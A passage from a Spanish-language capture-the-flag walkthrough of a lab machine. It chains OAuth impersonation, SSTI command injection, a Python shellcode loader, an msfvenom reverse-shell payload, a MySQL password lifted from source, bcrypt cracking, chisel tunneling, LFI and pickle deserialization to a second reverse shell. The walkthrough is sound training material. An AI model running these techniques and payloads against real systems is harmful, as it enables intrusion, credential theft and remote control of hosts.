+ OPTIONS: Allowed HTTP Methods: HEAD, GET, OPTIONS, POST .
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8046 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2024-10-25 18:43:26 (GMT-5) (30 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Con estos pasos deberíamos tener suficientes datos para encontrar alguna vulnerabilidad web presente en el servidor.
Explotación de vulnerabilidades
Lo primero que are sera registrarme en la pagina web para ver como es internamente o que cosas tengo a nivel de usuario, el login lo podemos encontrar en el subdominio, si veo los correos que guarde en un inicio, todo tiene como dominio @buffered.dl así que eso usare, me registrare como victor@buffered.dl.
Cuando iniciamos sesión, vemos que tenemos un dashboard pero no hay ningún campo que podamos intentar vulnerar.
Lo que puedo hacer ahora es verificar si puedo conseguir las credenciales de algún usuario con mas privilegios o iniciar sesión como algún usuario privilegiado, ejemplo admin, primero intento con uno de los correos que tenemos guardados christine@buffered.dl y cualquier contraseña, me muestra lo siguiente.
Email is not registered
Y así casi con todos, excepto el ultimo correo que es de wilson@buffered.dl me dice lo siguiente, si intento con el correo de admin@buffered.dl también me dice:
Invalid login
Con estas notificaciones podría hacer un ataque de fuerza bruta porque ya tengo una forma de ver correos validos solo faltaría la contraseña, pero vemos en Burp Suite para ver como es el método de autenticación.
Veo otra forma de iniciar sesión por OAuth Login en Burp Suite veo lo siguiente.
Veo que se manda mi correo con mi contraseña.
Después hace una petición por GET a oauth_callback.
Y por ultimo da el acceso según lo que se envié, en este caso al dashboard de usuario normal, cuando hace la petición GET a oauth_callback podemos modificar los parámetros y suplantar la identidad de admin por ejemplo, en este caso cambiando el gmail, quedaría de la siguiente manera.
Ahora le damos Forward y nos aparecerá lo siguiente.
Vemos que ahora si nos da acceso a admin_dashboard, volvemos a presionar Forward.
Y ya vemos algunos campos que podemos seguir intentando vulnerar, intentemos con el capo Search lo siguiente:
Primero intento con inyecciones SQL' OR '1'='1 me devuelve.
The item with ID ' OR '1'='1 is not found.
En los campos de más abajo tampoco parece funcionar.
Segundo intento con inyecciones html<h1>hello</h1> me devuelve lo mismo, no parece funcionar.
Intentamos con inyecciones js<script>alert('XSS');</script> y tampoco funciona.
Intentemos con inyecciones SSTI{{7*7}} y nos da un resultado favorable ya que nos resuelve la operación.
Nos devuelve un trollface y así con comandos como whoami:
[!FAIL] The item with ID ⣿⣿⣿⣿⣿⠟⣋⣭⣭⣭⡭⣭⣍⣉⣉⣉⣭⣭⣭⣭⣍⣙⣛⡛⠿⢿⣿⣿⣿⣿ ⣿⣿⣿⡿⢃⣾⣿⣟⡯⡳⣯⣻⣶⣾⣟⢷⣾⣿⣿⣿⣿⣿⣿⢾⣷⣦⣍⢻⣿⣿ ⣿⣿⡿⢡⣿⣿⣿⣿⣿⠾⠛⠛⢛⡛⠿⣿⣿⣿⣿⣿⣿⠿⠿⢿⣾⣿⣿⡄⢿⣿ ⡿⠫⣠⡬⠛⠛⠿⢽⣧⣬⡤⢄⣬⣍⡓⣈⣿⣿⣟⠉⣀⣤⣤⣤⣿⣿⣿⡽⡦⠙ ⢰⣿⡏⣼⡿⢉⠻⢶⣦⣤⣶⣿⣿⣿⠿⢿⣿⣿⣿⣄⠻⢿⣯⣉⣡⡶⣶⣽⣿⡇ ⡈⢟⢧⣱⣶⡈⠿⣶⡄⣉⣛⠚⠿⢧⣸⣭⣭⣽⠿⠿⣃⣤⣽⣿⠟⠄⢹⣳⡗⣰ ⣿⣦⡉⣾⣿⣷⣄⢢⡄⠈⠛⠻⠷⢰⣦⣬⣍⢉⣉⡈⣉⣩⡍⢴⠆⠆⢸⣿⢠⣿ ⣿⣿⣷⡘⢿⣿⣿⣦⣁⠿⣿⣶⠆⣤⣀⣉⠉⠈⠉⠁⠈⠉⠁⠄⠄⢀⢸⣿⢸⣿ ⣿⣿⣿⣿⣦⡙⢟⡿⣟⡷⣬⣉⡘⠿⠿⣿⠄⣿⣿⢀⣶⠆⡶⠠⠇⣂⣾⣿⢸⣿ ⣿⣿⣿⣿⣿⣿⣶⣬⡑⠫⢷⣻⡽⣻⡶⣶⣶⣶⣶⣶⣶⣶⣶⣾⢟⣿⡿⣿⠈⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣬⣙⠻⠶⣿⣿⣭⣿⣶⣶⣶⣾⣿⣿⣽⣾⡿⢁⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣭⣉⣛⣛⠛⠿⠿⠟⣛⣋⣴⣿⣿ is not found.
Pero si intentamos con ls nos devuelve contenido.
The item with ID assembly dashboard is not found.
Intentemos ls -Rla para ver todos los contenido de forma recursiva con sus permisos, en este caso podríamos ir a ver el código fuente de la pagina para ver el contenido mejor.
total 32
drwxr-x--- 1 wilson wilson 226 Aug 2 21:58 .
drwxr-xr-x 1 root root 40 Jul 31 17:46 ..
lrwxrwxrwx 1 root root 9 Aug 2 21:58 .bash_history -&gt; /dev/null
-rw-r--r-- 1 wilson wilson 220 Jul 30 10:36 .bash_logout
-rw-r--r-- 1 wilson wilson 92 Jul 30 10:36 .bash_profile
-rw-r--r-- 1 wilson wilson 3796 Jul 30 10:36 .bashrc
drwxr-xr-x 1 wilson wilson 12 Jul 20 21:57 .local
lrwxrwxrwx 1 root root 9 Aug 2 21:58 .mysql_history -&gt; /dev/null
-rw-r--r-- 1 wilson wilson 807 Jul 30 10:36 .profile
lrwxrwxrwx 1 root root 9 Aug 2 21:58 .python_history -&gt; /dev/null
-rw------- 1 wilson wilson 3517 Jul 31 18:55 .viminfo
drwxr-xr-x 1 wilson wilson 86 Jul 30 10:36 assembly
drwxr-xr-x 1 wilson wilson 60 Jul 31 19:38 dashboard
./.local:
total 0
drwxr-xr-x 1 wilson wilson 12 Jul 20 21:57 .
drwxr-x--- 1 wilson wilson 226 Aug 2 21:58 ..
drwxr-xr-x 1 wilson wilson 410 Jul 30 10:36 bin
drwxr-xr-x 1 wilson wilson 0 Jul 20 19:57 lib
./.local/bin:
total 392
drwxr-xr-x 1 wilson wilson 410 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson 12 Jul 20 21:57 ..
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 awk
-rwxr-xr-x 1 wilson wilson 1290 Jul 30 10:36 bash
-rwxr-xr-x 1 wilson wilson 39384 Jul 30 10:36 cat
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 cron
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 crontab
-rwxr-xr-x 1 wilson wilson 69 Jul 30 10:36 dashboard
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 echo
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 except
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 find
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 ftp
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 gcc
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 gdb
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 git
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 id
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 ifconfig
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 ip
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 ipconfig
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 less
-rwxr-xr-x 1 wilson wilson 1411 Jul 30 10:36 loader
-rwxr-xr-x 1 wilson wilson 142312 Jul 30 10:36 ls
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 lua
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 mail
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 man
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 nc
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 netstat
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 nvim
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 perl
-rwxr-xr-x 1 wilson wilson 1120 Jul 30 10:36 php
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 pico
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 ping
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 ps
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 python
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 python3
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 ruby
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 rvim
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 scp
-rwxr-xr-x 1 wilson wilson 1268 Jul 30 10:36 sh
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 ss
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 ssh
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 ssh-keygen
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 su
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 sudo
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 tar
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 tcpdump
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 tee
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 vi
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 vim
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 whoami
-rwxr-xr-x 1 wilson wilson 22816 Jul 30 10:36 xxd
-rwxr-xr-x 1 wilson wilson 1116 Jul 30 10:36 zip
./.local/lib:
total 0
drwxr-xr-x 1 wilson wilson 0 Jul 20 19:57 .
drwxr-xr-x 1 wilson wilson 12 Jul 20 21:57 ..
./assembly:
total 20
drwxr-xr-x 1 wilson wilson 86 Jul 30 10:36 .
drwxr-x--- 1 wilson wilson 226 Aug 2 21:58 ..
-rw-r--r-- 1 wilson wilson 261 Jul 30 10:36 addition.s
-rw-r--r-- 1 wilson wilson 515 Jul 30 10:36 execve.s
-rw-r--r-- 1 wilson wilson 566 Jul 30 10:36 lol.s
-rw-r--r-- 1 wilson wilson 254 Jul 30 10:36 loop.s
-rw-r--r-- 1 wilson wilson 261 Jul 30 10:36 substraction.s
./dashboard:
total 20
drwxr-xr-x 1 wilson wilson 60 Jul 31 19:38 .
drwxr-x--- 1 wilson wilson 226 Aug 2 21:58 ..
-rw-rw-r-- 1 wilson wilson 496 Jul 31 19:11 .pwgen.py
-rwxr-xr-x 1 wilson wilson 14594 Jul 31 18:47 app.py
drwxr-xr-x 1 wilson wilson 50 Jul 20 22:42 static
drwxr-xr-x 1 wilson wilson 220 Jul 30 10:38 templates
./dashboard/static:
total 0
drwxr-xr-x 1 wilson wilson 50 Jul 20 22:42 .
drwxr-xr-x 1 wilson wilson 60 Jul 31 19:38 ..
drwxr-xr-x 1 wilson wilson 10 Jul 20 22:42 bootstrap
drwxr-xr-x 1 wilson wilson 140 Jul 30 10:36 css
drwxr-xr-x 1 wilson wilson 216 Jul 30 10:36 fonts
drwxr-xr-x 1 wilson wilson 380 Jul 30 10:36 images
drwxr-xr-x 1 wilson wilson 250 Jul 30 10:36 js
./dashboard/static/bootstrap:
total 0
drwxr-xr-x 1 wilson wilson 10 Jul 20 22:42 .
drwxr-xr-x 1 wilson wilson 50 Jul 20 22:42 ..
drwxr-xr-x 1 wilson wilson 60 Jul 30 10:36 css
drwxr-xr-x 1 wilson wilson 32 Jul 30 10:36 js
./dashboard/static/bootstrap/css:
total 272
drwxr-xr-x 1 wilson wilson 60 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson 10 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 136399 Jul 30 10:36 bootstrap.css
-rw-r--r-- 1 wilson wilson 136297 Jul 30 10:36 bootstrap.css.bak
./dashboard/static/bootstrap/js:
total 28
drwxr-xr-x 1 wilson wilson 32 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson 10 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 27871 Jul 30 10:36 bootstrap.min.js
./dashboard/static/css:
total 96
drwxr-xr-x 1 wilson wilson 140 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson 50 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 61188 Jul 30 10:36 animate.css
-rw-r--r-- 1 wilson wilson 17780 Jul 30 10:36 font-awesome.min.css
-rw-r--r-- 1 wilson wilson 1940 Jul 30 10:36 templatemo_misc.css
-rw-r--r-- 1 wilson wilson 12047 Jul 30 10:36 templatemo_style.css
./dashboard/static/fonts:
total 428
drwxr-xr-x 1 wilson wilson 216 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson 50 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 62856 Jul 30 10:36 FontAwesome.otf
-rw-r--r-- 1 wilson wilson 38205 Jul 30 10:36 fontawesome-webfont.eot
-rw-r--r-- 1 wilson wilson 202148 Jul 30 10:36 fontawesome-webfont.svg
-rw-r--r-- 1 wilson wilson 80652 Jul 30 10:36 fontawesome-webfont.ttf
-rw-r--r-- 1 wilson wilson 44432 Jul 30 10:36 fontawesome-webfont.woff
./dashboard/static/images:
total 1352
drwxr-xr-x 1 wilson wilson 380 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson 50 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 227000 Jul 30 10:36 bg-about.jpg
-rw-r--r-- 1 wilson wilson 264311 Jul 30 10:36 bg-contact.jpg
-rw-r--r-- 1 wilson wilson 288378 Jul 30 10:36 bg-gallery.jpg
-rw-r--r-- 1 wilson wilson 151612 Jul 30 10:36 bg-homepage.jpg
-rw-r--r-- 1 wilson wilson 250619 Jul 30 10:36 bg-services.jpg
-rw-r--r-- 1 wilson wilson 835 Jul 30 10:36 close.png
drwxr-xr-x 1 wilson wilson 108 Jul 30 10:36 gallery
-rw-r--r-- 1 wilson wilson 10423 Jul 30 10:36 loading.gif
-rw-r--r-- 1 wilson wilson 724 Jul 30 10:36 next.png
-rw-r--r-- 1 wilson wilson 1001 Jul 30 10:36 pattern.png
-rw-r--r-- 1 wilson wilson 726 Jul 30 10:36 previous.png
-rw-r--r-- 1 wilson wilson 1026 Jul 30 10:36 select-arrow.png
-rw-r--r-- 1 wilson wilson 51374 Jul 30 10:36 team1.jpg
-rw-r--r-- 1 wilson wilson 45256 Jul 30 10:36 team2.jpg
-rw-r--r-- 1 wilson wilson 46781 Jul 30 10:36 team3.jpg
-rw-r--r-- 1 wilson wilson 2774 Jul 30 10:36 templatemo_logo.png
./dashboard/static/images/gallery:
total 860
drwxr-xr-x 1 wilson wilson 108 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson 380 Jul 30 10:36 ..
-rw-r--r-- 1 wilson wilson 88357 Jul 30 10:36 p1.jpg
-rw-r--r-- 1 wilson wilson 166742 Jul 30 10:36 p2.jpg
-rw-r--r-- 1 wilson wilson 50664 Jul 30 10:36 p3.jpg
-rw-r--r-- 1 wilson wilson 96063 Jul 30 10:36 p4.jpg
-rw-r--r-- 1 wilson wilson 137929 Jul 30 10:36 p5.jpg
-rw-r--r-- 1 wilson wilson 113157 Jul 30 10:36 p6.jpg
-rw-r--r-- 1 wilson wilson 62189 Jul 30 10:36 p7.jpg
-rw-r--r-- 1 wilson wilson 95517 Jul 30 10:36 p8.jpg
-rw-r--r-- 1 wilson wilson 50034 Jul 30 10:36 p9.jpg
./dashboard/static/js:
total 196
drwxr-xr-x 1 wilson wilson 250 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson 50 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 93107 Jul 30 10:36 jquery-1.10.2.min.js
-rw-r--r-- 1 wilson wilson 8047 Jul 30 10:36 jquery.lightbox.js
-rw-r--r-- 1 wilson wilson 16363 Jul 30 10:36 jquery.mixitup.min.js
-rw-r--r-- 1 wilson wilson 58095 Jul 30 10:36 jquery.nicescroll.min.js
-rw-r--r-- 1 wilson wilson 9707 Jul 30 10:36 modernizr.js
-rw-r--r-- 1 wilson wilson 0 Jul 30 10:36 plugins.js
-rw-r--r-- 1 wilson wilson 4113 Jul 30 10:36 templatemo_custom.js
./dashboard/templates:
total 36
drwxr-xr-x 1 wilson wilson 220 Jul 30 10:38 .
drwxr-xr-x 1 wilson wilson 60 Jul 31 19:38 ..
-rw-r--r-- 1 wilson wilson 6894 Jul 30 10:38 admin_dashboard.html
-rw-r--r-- 1 wilson wilson 7590 Jul 30 10:38 dashboard.html
-rw-r--r-- 1 wilson wilson 2372 Jul 30 10:38 home.html
drwxr-xr-x 1 wilson wilson 86 Jul 30 10:38 includes
-rw-r--r-- 1 wilson wilson 1937 Jul 30 10:38 layout.html
-rw-r--r-- 1 wilson wilson 639 Jul 30 10:38 oauth_callback.html
-rw-r--r-- 1 wilson wilson 649 Jul 30 10:38 oauth_login.html
-rw-r--r-- 1 wilson wilson 619 Jul 30 10:38 register.html
./dashboard/templates/includes:
total 12
drwxr-xr-x 1 wilson wilson 86 Jul 30 10:38 .
drwxr-xr-x 1 wilson wilson 220 Jul 30 10:38 ..
-rw-r--r-- 1 wilson wilson 238 Jul 30 10:38 _formhelpers.html
-rw-r--r-- 1 wilson wilson 321 Jul 30 10:38 _messages.html
-rw-r--r-- 1 wilson wilson 2230 Jul 30 10:38 _navbar.html
En el directorio ./local/bin parece que están los comandos con el trollface ya que la gran mayoría tiene 1116 bytes de tamaño, tambien hay un archivo que nos puede llamar la atención .pwgen.py, a simple vista se puede ver que bash no tiene trollface, pero filtremos que comandos nos pueden ser útil para inyectar una reverse shell, copiamos lo que esta en ./local/bin y lo pegamos en un archivo llamado por ejemplo local_bin.txt y filtramos de la siguiente manera.
❯ v local_bin.txt
❯ grep -v 1116 local_bin.txt
./.local/bin:
total 392
drwxr-xr-x 1 wilson wilson 410 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson 12 Jul 20 21:57 ..
-rwxr-xr-x 1 wilson wilson 1290 Jul 30 10:36 bash
-rwxr-xr-x 1 wilson wilson 39384 Jul 30 10:36 cat
-rwxr-xr-x 1 wilson wilson 69 Jul 30 10:36 dashboard
-rwxr-xr-x 1 wilson wilson 1411 Jul 30 10:36 loader
-rwxr-xr-x 1 wilson wilson 142312 Jul 30 10:36 ls
-rwxr-xr-x 1 wilson wilson 1120 Jul 30 10:36 php
-rwxr-xr-x 1 wilson wilson 1268 Jul 30 10:36 sh
-rwxr-xr-x 1 wilson wilson 22816 Jul 30 10:36 xxd
Vemos varios binarios interesantes, pero bash, php y sh son muy pequeños para ser el binario original, así que los podemos descartar, ls y cat parecen ser los únicos binarios legítimos, hay un archivo llamado loader leamos el contenido para ver si hay información relevante.
import sys
import ctypes
def run_hex(hex):
# Convert the hex from hex to bytes
hex_bytes = bytes.fromhex(hex)
# Allocate executable memory
# Use ctypes to allocate memory with PROT_READ | PROT_WRITE | PROT_EXEC
hex_func = ctypes.CFUNCTYPE(ctypes.c_void_p)
hex_buffer = ctypes.create_string_buffer(hex_bytes, len(hex_bytes))
ctypes.memmove(hex_buffer, hex_bytes, len(hex_bytes))
# Mark the buffer as executable
libc = ctypes.CDLL(&#39;libc.so.6&#39;)
mprotect = libc.mprotect
mprotect.argtypes = [ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int]
mprotect.restype = ctypes.c_int
PROT_READ = 0x1
PROT_WRITE = 0x2
PROT_EXEC = 0x4
PAGE_SIZE = 4096
addr = ctypes.addressof(hex_buffer)
addr_page_aligned = addr - (addr % PAGE_SIZE)
size = len(hex_bytes)
size_page_aligned = PAGE_SIZE * ((size // PAGE_SIZE) + 1)
if mprotect(addr_page_aligned, size_page_aligned, PROT_READ | PROT_WRITE | PROT_EXEC) != 0:
raise Exception(&#34;Failed to set memory permissions&#34;)
# Cast the buffer to a function and call it
hex_func_type = ctypes.CFUNCTYPE(ctypes.c_void_p)
hex_func = hex_func_type(ctypes.addressof(hex_buffer))
hex_func()
if __name__ == &#34;__main__&#34;:
if len(sys.argv) != 2:
print(f&#34;Usage: loader &lt;hex string&gt;&#34;)
sys.exit(1)
hex_hex = sys.argv[1]
run_hex(hex_hex)
Este script en Python ejecuta un código en formato hexadecimal como si fuera una función, algo que se suele asociar a la ejecución de shellcode en memoria. Un resumen de su funcionamiento:
Conversión de Hexadecimal a Bytes: Toma un string hexadecimal proporcionado como argumento en la línea de comandos y lo convierte en bytes.
Asignación de Memoria Ejecutable: Asigna un bloque de memoria para almacenar estos bytes, con permisos de lectura, escritura y ejecución (RWX). Esto permite ejecutar el código como si fuera una función.
Ejecuta el Código en Memoria: Luego de asignar los permisos, el script trata la memoria asignada como una función y la ejecuta.
Si ejecutamos el script de la siguiente manera veremos
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 4 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=17, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes
Final size of hex file: 238 bytes
4831c94881e9f6ffffff488d05efffffff48bb84828ffa2912cb7d48315827482df8ffffffe2f4eeabd7634310941785dc80ff618583c486829ea68503cb7cd5ca061c43029117aeda80ff431195357b4ce5db711dce0872e8b4a2b05a7052e6ebe1d55a7acb2ecc0b68a87e5a429b8b878ffa2912cb7d
En este comando usé msfvenom para generar un payload de shell reverso para Linux (x64) con conexión a mi máquina en 172.17.0.1 por el puerto 4444. Excluí el carácter nulo (\x00) y lo formateé en hexadecimal (-f hex).
❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 56958
Ahora veamos quienes somos y en que grupo estamos y también la IP de la siguiente manera.
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 56958
whoami
wilson
id
uid=1003(wilson) gid=1003(wilson) groups=1003(wilson),101(mysql)
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
14: eth0@if15: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
Escalada de privilegios
Bien antes de proseguir deberíamos darle un tratamiento a la TTY, aunque en mi caso optare por usar pwncat-cs para tener un TTY interactiva, me vuelvo a enviar la Reverse Shells.
Con esto ya no tengo que preocuparme por el tratamiento de TTY o que se muera la terminal, ademas de tener muchos módulos muy útiles, como vimos anteriormente, cuando ejecutamos el comando id vemos un grupo interesante:
Con Ctrl + D entramos a la Bash de la victima.
El grupo mysql nos permite ver las bases de datos existentes y demás información sensible pero necesitaremos tener credenciales validas primero, en la home de wilson hay una carpeta dashoard dentro de ella hay algunos archivos:
Hay un archivo oculto llamado .pwngen.py vamos a descargarlo con pwncat.
Cuando le echamos un vistazo a este archivo, vemos que genera una cadena de la siguiente manera n.apellido@buffered.dl_000123 probablemente lo usaremos más adelante, ahora veremos el archivo app.py y verificaremos si tiene credenciales de mysql.
grep MYSQL app.py
Encontramos una credenciales que nos puede ser útil, vamos a conectarnos a ver si nos deja con el siguiente comando:
mysql -u db_manager -pHeig9At, -h 127.0.0.1
Y efectivamente nos deja conectarnos, como podemos apreciar usando el comando:
show databases;
Nos mostrara las base de datos existentes, una que llama la atención es myflaskapp.
Podemos usar el comando:
show tables;
Notaremos una tabla de users y otra de users_old, veamos primero users con el siguiente comando:
select * from users;
Aquí es donde se están guardando los usuarios del dashboard, users_old al parecer contiene datos previos los cuales nos copiaremos.
Lo pondremos dentro de un archivo llamado db.txt.
Ahora, sabiendo que somos el usuario wilson, buscaremos archivos a los que este usuario pueda acceder, usando el comando find.
find . -type f -user wilson 2>/dev/null | grep -vE 'proc|sys|home'
Buscamos desde la raíz y con grep quitamos rutas como: proc, sys y home, encontramos un archivo en mail.
Lo que encontramos es un email del usuario Christine el cual parece ser Site Admin de algún sitio web dentro del servidor.
Nos copiamos este email en nuestra maquina.
Ahora seguimos enumerando la maquina y en este caso pasamos a ver puertos internos de la maquina y encontramos que hay otros servicios corriendo ademas del mysql corriendo en distintos puertos.
netstat -punta # No disponible en el servidor
ss -tuln
Los nuevos puertos que encontramos son:
5000
5555
9000
Para tener acceso a esos servicios de manera cómoda usaremos chisel, de esta forma podremos exponer estos servicios en nuestra maquina local, lo primero que aremos es copiar chisel a un directorio de trabajo, luego levantar un servidor sencillo con php o python.
php -S 0.0.0.0:80
python3 -m http.server 80
Luego iremos a la maquina victima y verificaremos si tiene instalado wget o curl, en este caso tiene curl así que procedemos a descargar chisel y darle permisos de ejecución dentro del directorio tmp:
Luego en nuestra maquina ejecutamos chisel en modo servidor en nuestra maquina atacante:
./chisel server --reverse -p 33
Ahora en la maquina victima me conecto al servidor que acabo de levantar como cliente redirigiendo los puertos necesarios:
Los 2 primeros parecen ser paginas web levantadas rápidamente con python y el ultimo pareciera ser un binario en escucha por el puerto 9000:
Si vemos la pagina web del puerto 5000:
Podremos ver que es el dashboard que ya vulneramos, en el puerto 5555 podemos ver un panel de autenticación nuevo.
Y por ultimo, en el puerto 9000 veremos bot con nombre Buffer posiblemente una pista de que estamos frente a un Buffer Overflow pero sin el binario, no podremos explotarlo:
nc 127.0.0.1 9000
Si recordamos el email que encontramos anteriormente nos indicaba que Christine es Site Admin, intentamos logearnos con credenciales tipo pass pero no nos deja, tampoco responde a Inyecciones SQL, no nos da ningún error que podamos ver.
Si recordamos el archivo .pwgen.py genera una cadena con una estética que podría ser credenciales por defecto.
python pwgen.py
Ya que anteriormente habíamos echo una lista de usuarios, tenemos el nombre completo de Christine, por lo tanto ingresamos esos datos al script.
Nos devuelve la siguiente cadena:
c.ross@buffered_833407
Con esto podemos decir que tenemos una parte de la contraseña de Christine, ahora para tener la parte que falta, podríamos intentar crear una wordlist e intentar crackear el hash que tenemos de la tabla que nos copiamos, vamos a generar la wordlist primero:
Usaremos el comando printf para generar al final de la cadena que ya tenemos números desde 000000 hasta 999999:
En el script se muestra que se usan 0 como relleno cuando son números bajos, así que debemos tener eso en cuenta.
Usando el comando head y tail podemos ver que se genero correctamente, por lo tanto ahora procederemos a copiar el hash e intentar crackearlo.
Escapamos los $ con \.
Ahora debemos identificar que tipo de hash es, en este caso usaremos hashid.
También podemos usar hashcat.
Los resultados indican que se asemeja bastante a bcrypt, así que procedemos a usar [[John the Ripper]].
john --format=bcrypt --wordlist=wordlist.txt hash --fork=4
Y listo ya tenemos la contraseña correcta:
c.ross@buffered_001337
Con las credenciales completas ahora si podemos acceder al nuevo panel de Login, cuando entramos nos encontramos con un nuevo panel de administración:
La pagina completa seria:
Al final podemos ver campos donde podemos ingresar datos, pero no parecen hacer nada.
Por ultimo también tenemos un botón que nos descarga un archivo llamado logins.txt:
Como podemos ver, son los intentos de inicio de sesión al panel de administración, lo que podemos hacer en este punto, es interceptar esa petición para verificar si se acontece un LFI y así poder leer información sensible de otros usuarios.
En la petición se ve que se descarga directamente el archivo con el nombre logins.txt, podemos modificarlo y poner por ejemplo /etc/passwd:
Al darle a Forward, vemos que se descarga el archivo con el mismo nombre logins.txt.
Pero al ver su contenido podemos ver que efectivamente se acontece un LFI.
Echando un vistazo podemos ver que existen 3 usuarios: wilson, christine y tyler, lógicamente no tenemos acceso a los archivos de christine ni de tyler, pero podemos buscar si están corriendo algún proceso interesante:
En este caso uso el modulo de pwncat-cs.
También podemos usar el comando:
ps faux
Pero como podemos notar en la imagen, christine esta corriendo un proceso ejecutando un archivo llamado app.py, al conocer la ruta absoluta de dicho archivo, podemos descargarlo mediante el LFI.
/home/christine/.site/APP_3411/app.py
Le cambiamos el nombre al archivo:
Leyendo el archivo encontramos credenciales para otra base de datos que nos podría ser interesante más adelante.
Al final del archivo encontramos una función que parece estar pidiendo algunos datos, entre ellos mydata, a su vez mydata pide un dato en base64, lo decodifica y lo deserializa con pickle.loads , esto es potencialmente vulnerable a un ataque de deserialización.
Los parámetros parecen ser de la parte final del ultimo panel de administración que vimos, donde pide el nombre de un producto, review y rating, en la siguiente imagen podemos ver como se tramitan los datos por POST, menos mydata:
Para lograr enviar una cadena especial que sea deserializada y nos logre enviar una consola interactiva, podemos usar el siguiente script:
Luego usamos el comando curl para enviar los datos al sitio web.
Mandamos los datos mediante POST.
Con -b indicamos la cookie de session.
Y con el parámetro -F mandamos la data en partes.
Luego inicio otro listener en pwncat por el puerto 1234.
Y apenas mandamos el curl, podremos ver lo siguiente:
También podemos ver a que usuario migramos con el comando sessions --list.
Como podemos apreciar en la imagen, somos el usuario christine, enumerando las posibles formas de seguir escalando privilegios podemos notar que, estamos en el grupo ftp usando el comando id.
Podemos buscar por archivos o directorios que sean parte del grupo ftp, usaremos el comando find:
find / -group ftp 2>/dev/null
Resultado
Encontramos en la raíz, una carpeta llamada ftp con un binario dentro, este nombre del binario es parecido o igual al servicio que corre por el puerto 9000, descargaremos dicho binario.
Ahora lo ejecutaremos.
En mi caso, lo are dentro de un contenedor docker, la imagen es un kali con todas las herramientas necesarias para hacer reversin.
Estando dentro del contenedor y después de darle permisos de ejecución podemos ejecutar el binario:
./bufferbot
Resultado
Server is listening on port 9000
